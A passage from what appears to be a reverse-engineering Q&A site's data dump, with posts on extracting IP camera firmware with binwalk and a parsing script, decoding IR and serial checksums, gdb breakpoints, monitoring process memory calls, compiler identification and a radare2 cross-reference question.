|.zip............|&#xA;00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;000000a0  e3 23 00 00 43 40 35 30  00 00 00 00 50 4b 03 04  |.#..C@50....PK..|&#xA;000000b0  14 00 00 00 08 00 fa 8b  5d 47 89 42 30 43 09 23  |........]G.B0C.#|&#xA;000000c0  00 00 93 4a 00 00 22 00  1c 00 73 79 73 74 65 6d  |...J..&quot;...system|&#xA;000000d0  2f 73 79 73 74 65 6d 2f  6c 69 62 2f 6c 69 62 73  |/system/lib/libs|&#xA;000000e0  6e 73 5f 67 63 31 30 30  34 2e 73 6f 55 54 09 00  |ns_gc1004.soUT..|&#xA;000000f0  03 88 e7 31 56 88 e7 31  56 75 78 0b 00 01 04 ed  |...1V..1Vux.....|&#xA;00000100  03 00 00 04 ed 03 00 00  e5 7c 0b 78 53 55 d6 f6  |.........|.xSU..|&#xA;00000110  3e b9 b4 69 9a cb 69 cf  29 96 8b 92 0a           |&amp;gt;..i..i.)....|&#xA;0000011d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why I'm not able to extract everything ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ronan&lt;/p&gt;&#xA;" OwnerUserId="14749" LastActivityDate="2016-01-21T23:42:59.090" Title="Unpack IpCam firmware - Binwalk extraction issue" Tags="|binary-analysis|binary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11792" PostTypeId="2" ParentId="11788" CreationDate="2016-01-19T03:23:19.780" Score="1" Body="&lt;p&gt;If you are using IDA Pro, it has tons of plugins and script written just for that purpose. E.g. &lt;a href=&quot;https://github.com/REhints/HexRaysCodeXplorer&quot; rel=&quot;nofollow&quot;&gt;HexRaysCodeXplorer&lt;/a&gt; and &lt;a href=&quot;https://hex-rays.com/contests/2012/index.shtml#idatoolbag&quot; rel=&quot;nofollow&quot;&gt;IDA Toolbag&lt;/a&gt; or in general &lt;a href=&quot;https://www.google.com/search?q=vtable+reverse+script&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/search?q=vtable+reverse+script&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not, switch to IDA Pro.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-01-19T03:23:19.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11794" PostTypeId="1" CreationDate="2016-01-19T07:17:27.283" Score="4" ViewCount="1221" Body="&lt;p&gt;I am reverse engineering IR protocol of Sanyo air conditioner. AC sends the whole current state of remote on each key press. Data sent is 67 bits long, last 4 bits seem to be the some kind of error checking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured most things out, but I can not find how the error checking is done. Temp + mode are part of it, but I can not find a solution to the entire puzzle. Also any suggestions as to what col. 16 may be (am i missing functionality in the overview?) would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are sample values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1  2  3 4 5   6   7   8   9  10 11 12      13      14    15  16        17          18&#xA;100 1 00 0 0 1011 00 1111 000 1   1  0 00001010010 0000 00000 0 000100000000000000 1010 -&amp;gt;&#xA;100 1 00 0 0 1011 00 1111 000 1   1  1 00001010010 0000 00000 0 000100000000000000 1010 -&amp;gt;&#xA;100 1 00 1 0 0000 00 0000 000 1   1  0 00001010010 1110 00000 1 000100000000000000 1010&#xA;100 1 00 1 0 1000 00 0000 000 1   1  0 00001010010 1110 00000 1 000100000000000000 0110&#xA;100 1 00 1 0 0100 00 0000 000 1   1  0 00001010010 1110 00000 1 000100000000000000 1110&#xA;100 1 00 1 0 1011 00 0000 000 1   1  0 00001010010 1110 00000 1 000100000000000000 0100&#xA;100 1 00 0 0 0011 00 1111 000 1   1  0 00001010010 0000 00000 0 000100000000000000 0010 -&amp;gt;&#xA;100 1 00 0 0 0011 00 1111 000 1   1  0 00001010010 0000 00000 0 000100000000000000 0010 -&amp;gt;&#xA;100 1 00 0 0 1011 00 0000 000 1   1  0 00001010010 0100 00000 1 000100000000000000 0100&#xA;100 1 00 0 0 1011 00 0000 000 1   1  0 00001010010 1100 00000 1 000100000000000000 0100&#xA;100 1 00 0 0 1011 00 0000 000 1   1  0 00001010010 0010 00000 1 000100000000000000 0100&#xA;100 1 00 0 0 1011 00 0000 000 1   1  0 00001010010 1010 00000 1 000100000000000000 0100&#xA;100 1 00 0 0 1011 00 0000 000 1   1  0 00001010010 0110 00000 1 000100000000000000 0100&#xA;100 1 00 1 0 1011 00 0000 000 1   1  0 00001010010 1000 00000 1 000100000000000000 0100&#xA;100 1 00 1 0 1011 00 0000 000 1   1  0 00001010010 1101 00000 1 000100000000000000 0100&#xA;100 1 00 1 0 1011 00 0000 000 1   1  0 00001010010 1110 00000 1 000100000000000000 0100&#xA;100 1 00 1 0 1011 00 0000 000 1   1  0 00001010010 1001 00000 1 000100000000000000 0100&#xA;100 1 00 0 0 1011 00 0000 000 1   1  0 00001010010 0000 00000 1 000100000000000000 0100&#xA;100 1 10 1 0 1011 00 0000 000 1   1  0 00001010010 1110 00000 1 000100000000000000 0100&#xA;100 1 01 1 0 1011 00 0000 000 1   1  0 00001010010 1110 00000 1 000100000000000000 0100&#xA;100 1 11 1 0 1011 00 0000 000 1   1  0 00001010010 1110 00000 1 000100000000000000 0100&#xA;100 1 00 1 0 1011 00 0000 000 1   1  0 00001010010 1110 00000 1 000100000000000000 0100&#xA;100 1 00 0 0 0011 00 0000 000 0   1  0 00001010010 0000 00000 0 000100000000000000 1000&#xA;100 1 00 0 0 0011 00 0000 000 1   1  0 00001010010 0000 00000 0 000100000000000000 1000&#xA;000 1 10 0 0 1001 00 0000 000 1   1  0 00001010010 0000 00000 0 000100000000000000 1011&#xA;100 1 00 0 0 0011 00 0000 000 1   1  0 00001010010 0000 00000 0 000100000000000000 1000&#xA;010 1 10 0 0 0100 00 0000 000 1   1  0 00001010010 0000 00000 0 000100000000000000 0001&#xA;110 1 00 1 0 1011 00 0000 000 1   1  0 00001010010 1110 00000 0 000100000000000000 0010&#xA;001 1 00 0 0 0011 00 0000 000 1   1  0 00001010010 0000 00000 0 000100000000000000 0010&#xA;100 0 00 1 0 1011 00 0000 000 1   0  0 00001010010 1110 00000 1 000100000000000000 0101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I found out so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1: mode (cool, dry, fan, etc.)&#xA;2: appliance on&#xA;3: fan speed (00 = auto)&#xA;4: sweep motor&#xA;5: constant 0&#xA;6: temperature (16 + bit pattern)&#xA;7: constant 00&#xA;8: 0000, but 1111 if an additional packet is sent with time data ( -&amp;gt; )&#xA;9: constant 000&#xA;10: light on&#xA;11: appliance on&#xA;12: blower on&#xA;13: constant&#xA;14: direction of airflow (low, high, and various angles)&#xA;15: constant&#xA;16: yet unknown&#xA;17: constant&#xA;18: error checking (at least temp + mode is a component of this magic number)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT1&lt;/strong&gt; Stripped rows/cols that don't add information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1  2   6   8   11 16  18&#xA;100 1 1011 1111  1  0 1010 -&gt;&#xA;100 1 0000 0000  1  1 1010&#xA;100 1 1000 0000  1  1 0110&#xA;100 1 0100 0000  1  1 1110&#xA;100 1 0011 1111  1  0 0010 -&gt;&#xA;100 1 1011 0000  1  1 0100&#xA;100 1 0011 0000  1  0 1000&#xA;000 1 1001 0000  1  0 1011&#xA;010 1 0100 0000  1  0 0001&#xA;110 1 1011 0000  1  0 0010&#xA;001 1 0011 0000  1  0 0010&#xA;100 0 1011 0000  0  1 0101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14753" LastEditorUserId="14753" LastEditDate="2016-01-28T06:09:27.343" LastActivityDate="2018-04-22T19:09:21.183" Title="Reverse engineer 4-bit checksum (?) in Sanyo air conditioning IR packet" Tags="|binary-analysis|decryption|protocol|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11796" PostTypeId="2" ParentId="11789" CreationDate="2016-01-19T09:50:54.173" Score="10" Body="&lt;p&gt;To arrive to your &lt;code&gt;_init&lt;/code&gt; function just continue execution. This will stop once again in the intended place.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    gdb -q test.out&#xA;    Reading symbols from test.out...done.&#xA;    (gdb) b _init&#xA;    Breakpoint 1 at 0x4003e0&#xA;    (gdb) run&#xA;    Starting program: /home/[censored]/stk/test.out &#xA;&#xA;    Breakpoint 1, _init (argc=1, argv=0x7fffffffe008, envp=0x7fffffffe018) at ../csu/init-first.c:52&#xA;    52  ../csu/init-first.c: No such file or directory.&#xA;    (gdb) bt&#xA;    #0  _init (argc=1, argv=0x7fffffffe008, envp=0x7fffffffe018) at ../csu/init-first.c:52&#xA;    #1  0x00007ffff7dea0fd in call_init (l=0x7ffff7ff74c0, argc=argc@entry=1, argv=argv@entry=0x7fffffffe008, env=env@entry=0x7fffffffe018) at dl-init.c:64&#xA;    #2  0x00007ffff7dea223 in call_init (env=&amp;lt;optimized out&amp;gt;, argv=&amp;lt;optimized out&amp;gt;, argc=&amp;lt;optimized out&amp;gt;, l=&amp;lt;optimized out&amp;gt;) at dl-init.c:36&#xA;    #3  _dl_init (main_map=0x7ffff7ffe1c8, argc=1, argv=0x7fffffffe008, env=0x7fffffffe018) at dl-init.c:126&#xA;    #4  0x00007ffff7ddb30a in _dl_start_user () from /lib64/ld-linux-x86-64.so.2&#xA;    #5  0x0000000000000001 in ?? ()&#xA;    #6  0x00007fffffffe364 in ?? ()&#xA;    #7  0x0000000000000000 in ?? ()&#xA;    (gdb) c&#xA;    Continuing.&#xA;&#xA;    Breakpoint 1, 0x00000000004003e0 in _init ()&#xA;    (gdb) bt&#xA;    #0  0x00000000004003e0 in _init ()&#xA;    #1  0x0000000000400593 in __libc_csu_init ()&#xA;    #2  0x00007ffff7a36e55 in __libc_start_main (main=0x40052d &amp;lt;main&amp;gt;, argc=1, argv=0x7fffffffe008, init=0x400560 &amp;lt;__libc_csu_init&amp;gt;, fini=&amp;lt;optimized out&amp;gt;, rtld_fini=&amp;lt;optimized out&amp;gt;, stack_end=0x7fffffffdff8)&#xA;        at libc-start.c:246&#xA;    #3  0x0000000000400469 in _start ()&#xA;    (gdb) info shared&#xA;    From                To                  Syms Read   Shared Object Library&#xA;    0x00007ffff7ddaae0  0x00007ffff7df54e0  Yes         /lib64/ld-linux-x86-64.so.2&#xA;    0x00007ffff7a344a0  0x00007ffff7b79583  Yes         /lib/x86_64-linux-gnu/libc.so.6&#xA;    (gdb) x/10i $pc&#xA;=&amp;gt; 0x4003e0 &amp;lt;_init&amp;gt;:    sub    $0x8,%rsp&#xA;   0x4003e4 &amp;lt;_init+4&amp;gt;:  mov    0x200c0d(%rip),%rax        # 0x600ff8&#xA;   0x4003eb &amp;lt;_init+11&amp;gt;: test   %rax,%rax&#xA;   0x4003ee &amp;lt;_init+14&amp;gt;: je     0x4003f5 &amp;lt;_init+21&amp;gt;&#xA;   0x4003f0 &amp;lt;_init+16&amp;gt;: callq  0x400430 &amp;lt;__gmon_start__@plt&amp;gt;&#xA;   0x4003f5 &amp;lt;_init+21&amp;gt;: add    $0x8,%rsp&#xA;   0x4003f9 &amp;lt;_init+25&amp;gt;: retq &#xA;(gdb) info breakpoints&#xA;Num     Type           Disp Enb Address            What&#xA;1       breakpoint     keep y   &amp;lt;MULTIPLE&amp;gt;         &#xA;    breakpoint already hit 2 times&#xA;1.1                         y     0x00000000004003e0 &amp;lt;_init&amp;gt;&#xA;1.2                         y     0x00007ffff7a36c20 in _init at ../csu/init-first.c:52&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to information about shared libraries, it stopped first time in address area of &lt;code&gt;libc.so&lt;/code&gt;, which looks like also has &lt;code&gt;_init&lt;/code&gt; function, which caused &lt;code&gt;gdb&lt;/code&gt; to set this breakpoint there too (see breakpoint definition at the end of the listing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to set a breakpoint in your specific address, you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; b *address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;notation. If you want to set a breakpoint on a specific function from specific source file you can use something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) break test.c:call1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same thing is discussed a bit deeper &lt;a href=&quot;https://stackoverflow.com/questions/31379422/why-is-init-from-glibcs-csu-init-first-c-called-before-start-even-if-start-i&quot;&gt;here&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-01-19T10:34:37.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11797" PostTypeId="2" ParentId="11791" CreationDate="2016-01-19T10:22:56.990" Score="6" Body="&lt;p&gt;Although my binwalk version extracted the files correctly to the &lt;code&gt;system&lt;/code&gt; folder along with the zip files containing only the &lt;code&gt;sysversion.txt&lt;/code&gt;, I shortly describe why you see only the &lt;code&gt;sysversion.txt&lt;/code&gt; in the archive files.&#xA;It is because the firmware file contain multiple PKZIP archives and the binwalk does not know the exact size of these files. So, it can identify the start of the PKZIP file correctly based on the PK magic, but without knowing the correct file size, it extracts the remaining bytes to the created ZIP file. Because the central directory structure in PKZIP format stored at the end of the ZIP file, after the compressed data and the extracted ZIP file ends with the &lt;code&gt;sysversion.txt.zip&lt;/code&gt;, the file viewer or decompressor may found the central directory of the last ZIP file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this problem, you may check the system folder in the same folder you found the ZIP files, or you can extract the files manually.&lt;br&gt;&#xA;If you take a look at the start of the &lt;code&gt;CH-sys-48.53.64.67.bin&lt;/code&gt; file, you will find that it has a simple structure. It starts with a magic string (marked with blue in the picture). The next element is a 0x40 bytes long directory name (marked with yellow) followed by a 0x40 bytes long file name entry (marked with green). After the file name you will find the size of the file (marked with purple), some flags and the binary content (start of the binary file marked with grey).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u3KtS.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u3KtS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on these information you can write a simple script, which extracts the files correctly, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import struct&#xA;&#xA;if (len(sys.argv) &amp;lt; 2):&#xA;    print 'usage: parse binary'&#xA;    sys.exit(1)&#xA;&#xA;b = open(sys.argv[1], 'rb').read()&#xA;o = 0x20&#xA;while(o &amp;lt; len(b)-0x20):&#xA;    dir = b[o:o+0x40].strip('\x00')&#xA;    fname = b[o+0x40:o+0x80].strip('\x00')&#xA;    size = struct.unpack('L', b[o+0x80:o+0x84])[0]&#xA;    unk1 = struct.unpack('L', b[o+0x84:o+0x88])[0]&#xA;    unk2 = struct.unpack('L', b[o+0x88:o+0x8c])[0]&#xA;    print '%x, %s, %s: %x, %x, %x'%(o, dir, fname, size, unk1, unk2)&#xA;    open(fname, 'wb').write(b[o+0x8c:o+0x8c+size])&#xA;    o += 0x8c+size&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-01-19T10:22:56.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11798" PostTypeId="1" CreationDate="2016-01-19T15:19:18.023" Score="0" ViewCount="671" Body="&lt;p&gt;I want to rewrite a application tool in C# that is written in &lt;strong&gt;VB6&lt;/strong&gt;. This application does not work in windows 8/10 due to some compatibility issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is an old game server management tool. This application read and writes to another process memory(a game).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the memory address to which the tool write/read from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tool is only &lt;strong&gt;42kb.&lt;/strong&gt; and use &lt;strong&gt;kernel32.dll&lt;/strong&gt; to read game process memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to decompile this application from publically available decompiler but it didn't work. The file is packed with some &lt;strong&gt;PE-Pack was released by ANAKiN&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to read game memory values but unable to figure out which values i need because of a large amount of values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any way i can spy/spectate on this tool, to find out what it is requesting from kernel32 library. or what external memory addresses it is reading from or writing to ?.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or there is any unpacker tool that can unpack the file so i can decompile it.&lt;/p&gt;&#xA;" OwnerUserId="14763" LastActivityDate="2016-01-19T16:20:16.890" Title="Exe Unpack or Process Spy - Getting process internals" Tags="|decompilation|unpacking|process|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11799" PostTypeId="1" AcceptedAnswerId="11808" CreationDate="2016-01-19T15:53:40.290" Score="2" ViewCount="1524" Body="&lt;p&gt;Basically I have a set of 32-bit ELF program binaries compiled by either &lt;code&gt;gcc&lt;/code&gt; or &lt;code&gt;llvm&lt;/code&gt;. They are all stripped before analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is that, given a binary, is there any way I can determine whether it is compiled by &lt;code&gt;gcc&lt;/code&gt; or &lt;code&gt;llvm&lt;/code&gt;? Is there any available tool to do so? &lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2016-01-21T04:59:15.983" Title="Given a program binary, how can I know which compiler it is compiled from?" Tags="|binary-analysis|binary|binary-format|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11800" PostTypeId="2" ParentId="11798" CreationDate="2016-01-19T16:20:16.890" Score="1" Body="&lt;p&gt;The easiest solution would be to monitor the application with &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Monitor&lt;/a&gt; to see what parameters it supplies to &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ReadProcessMemory()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;WriteProcessMemory()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hRi0A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hRi0A.png&quot; alt=&quot;API Monitor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-01-19T16:20:16.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11802" PostTypeId="2" ParentId="6048" CreationDate="2016-01-20T02:12:02.370" Score="0" Body="&lt;p&gt;The PSP is a process table, it holds information about a running process (application), it is created and filled by the loader. The loader uses the EXEHDR information to fill some of the fields of the PSP and else. After creating the PSP the loader grabs the application code (whatever comes after the EXEHDR up to the end of the file and loads just after the PSP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PSP occupies the beginning of an application (COM and EXE) allocated memory; the PSP offset in the segment is always 0000H - 100H. When your application starts, DS and ES segments points to PSP, you have to adjust them to your application data segment before proceeding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Segments are not fixed, they are defined based on the free memory space, but offsets within a segment are always the same, otherwise your applicaton would break, all your data and code is defined (calculated) base on offsets from the beginning of a segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CS is filled by the loader after allocating memory and loading your program, IP is also filled by the loader, this information is extracted from the EXEHDR (the offset of the application entry point (it is calculated by the assembler/compiler when it builds the object code), but its defined by the programmer in assembly, it is the label set after the directive END in masm, or by the compiler, in c is the main function offset ).&lt;/p&gt;&#xA;" OwnerUserId="14767" LastEditorUserId="14767" LastEditDate="2016-01-20T02:40:13.937" LastActivityDate="2016-01-20T02:40:13.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11803" PostTypeId="1" AcceptedAnswerId="11806" CreationDate="2016-01-20T09:03:40.150" Score="1" ViewCount="1268" Body="&lt;p&gt;I have an encrypted raw data file generated by an application. This file is used in a second application to generate a readable text file based on the raw data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to change a few values in the raw data file, but since the contents of the raw data file are encrypted, I wanted to find out what is the encryption mechanism that is being used on the file, so I can decrypt it, make some changes, and encrypt it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample of the file can be found here: &lt;a href=&quot;http://pastebin.com/Cuj8aTG1&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/Cuj8aTG1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I could not infer, based on the contents of the file, what kind of encryption is used, I wanted to know if there is a good debugger for windows that I can use to try and go through the code of the application, and see if I can check how the decryption is made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I do not know if the debugger will depend on the language used, it does not use .net, that would be more easy to reverse engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="14770" LastActivityDate="2019-03-09T18:39:40.507" Title="Debug an application for analyzing file decryption" Tags="|encryption|decryption|cryptography|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11804" PostTypeId="1" AcceptedAnswerId="11817" CreationDate="2016-01-20T12:40:02.667" Score="7" ViewCount="602" Body="&lt;p&gt;I have a device at work with no documentation about it's checksum calculation. I know that the last byte in each message is the checksum, and most of the messages to the device requires a correct checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it was easy to figure out, probably some CRC or something, but i really can't figure this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some messages (from the device) with only one of the bytes changing to make it easier to find a pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last byte in each message is the Checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second last byte increments in theese messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00h 5Ch A2h 00h 04h D2h 38h&#xA;00h 5Ch A2h 00h 04h 57h BDh&#xA;00h 5Ch A2h 00h 08h AEh 1Ch&#xA;00h 5Ch A2h 00h 00h 01h 7Fh&#xA;00h 5Ch A2h 00h 00h 02h 80h&#xA;00h 5Ch A2h 00h 00h 03h 81h&#xA;00h 5Ch A2h 00h 00h 04h 82h&#xA;00h 5Ch A2h 00h 27h 0Fh BCh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 4th byte increments in those:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00h 5Ch A2h 00h 00h 01h 7Fh&#xA;00h 5Ch A2h 01h 00h 01h 63h&#xA;00h 5Ch A2h 02h 00h 01h 67h&#xA;00h 5Ch A2h 03h 00h 01h 6Bh &#xA;00h 5Ch A2h 04h 00h 01h 6Fh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope someone out there can help, its really a showstopper for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT - added some more examples&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00h 5Ch A2h 01h 01h 01h 65h&#xA;00h 5Ch A2h 01h 01h 02h 66h&#xA;00h 5Ch A2h 01h 01h 03h 67h&#xA;00h 5Ch A2h 01h 01h 04h 68h&#xA;&#xA;00h 5Ch A2h 01h 01h 01h 65h&#xA;00h 5Ch A2h 01h 01h 02h 66h&#xA;00h 5Ch A2h 01h 01h 03h 67h&#xA;00h 5Ch A2h 01h 01h 04h 68h&#xA;00h 5Ch A2h 02h 01h 01h 69h&#xA;00h 5Ch A2h 02h 01h 02h 6Ah&#xA;00h 5Ch A2h 02h 01h 03h 6Bh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One more example of the same message where the last 3 bytes are 00h:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00h 5Ch A2h 00h 00h 00h 7Eh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2nd EDIT- Added a Pastebin link to a ton of other samples, all of the same message type&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a different message but there is a lot of samples:&#xA;&lt;a href=&quot;http://pastebin.com/bXTw5r4V&quot; rel=&quot;nofollow&quot;&gt;Lots of sample messages in Pastebin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14771" LastEditorUserId="14771" LastEditDate="2016-01-22T11:47:06.557" LastActivityDate="2016-02-11T00:08:45.773" Title="I really struggled to figure it out, now can anyone help me reverse engineer this checksum?" Tags="|serial-communication|crc|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11805" PostTypeId="1" AcceptedAnswerId="11814" CreationDate="2016-01-20T13:17:58.610" Score="0" ViewCount="1397" Body="&lt;p&gt;I am debugging Challenge 6 from the 2014 FlareOn challenges.&#xA;For incorrect imput it displays the &quot;bad&quot; message.&#xA;Running &lt;code&gt;/i bad&lt;/code&gt; returns &lt;code&gt;0x004f3bf2 hit0_0 &quot;bad&quot;&lt;/code&gt;.&#xA;&lt;code&gt;ps @ 0x004f3bf2&lt;/code&gt; returns &lt;code&gt;bad&lt;/code&gt; as expected.&#xA;My problem is that if I try to find reference to this memory address, &lt;code&gt;axt @ 0x004f3bf2&lt;/code&gt;, &lt;code&gt;radare2&lt;/code&gt; does not return anything, but the address is surely referenced:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pd 1 @ 0x43710c&#xA;0x0043710c      bff23b4f00     movl $0x4f3bf2, %edi        ; &quot;bad&quot; @ 0x4f3bf2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have written a simple application containig &lt;code&gt;const char* bad=&quot;bad&quot;; printf(&quot;%s\n&quot;, bad);&lt;/code&gt;. In this case using the steps from above &lt;code&gt;radare2&lt;/code&gt; correctly identifies the line calling &lt;code&gt;printf&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2016-01-20T22:13:41.690" Title="radare2 does not show reference to memory address" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11806" PostTypeId="2" ParentId="11803" CreationDate="2016-01-20T14:09:30.400" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I wanted to know if there is a good debugger for windows that I can&#xA;  use&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ollydbg.de/version2.html&quot; rel=&quot;nofollow&quot;&gt;OllyDbg v2&lt;/a&gt; is a good debugger for Windows.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-01-20T14:09:30.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11808" PostTypeId="2" ParentId="11799" CreationDate="2016-01-20T17:49:23.567" Score="2" Body="&lt;p&gt;I am no expert in the matter but I would try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;see exported functions names&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if &lt;a href=&quot;https://en.wikipedia.org/wiki/Name_mangling&quot; rel=&quot;nofollow&quot;&gt;mangling&lt;/a&gt; is present you can use it for compiler detection. Just make a list of exported function names and compare to known mangling schemes (for example from the table in linked wiki page)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;examine linked DLL's&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can detect well known &lt;strong&gt;RTL&lt;/strong&gt;'s by the filenames.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Also you can try to find language/compiler engine&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;each version of each compiler of modern programing languages need to have its engine. It is part of code that is responsible for things like stack, variables, control flow etc and is always the same for each compiled program with the same compiler version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So create simple hello world apps in each compiler you can found and extract the engine binary. then simply search unknown binary and test if supported engine is present or not.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first two bullets are more for &lt;strong&gt;PE&lt;/strong&gt; (not sure if elf has the same info) and there are tools for such inspection (like &lt;strong&gt;PE/DLL&lt;/strong&gt; explorers so for elf there should be something similar).&lt;/p&gt;&#xA;" OwnerUserId="4709" 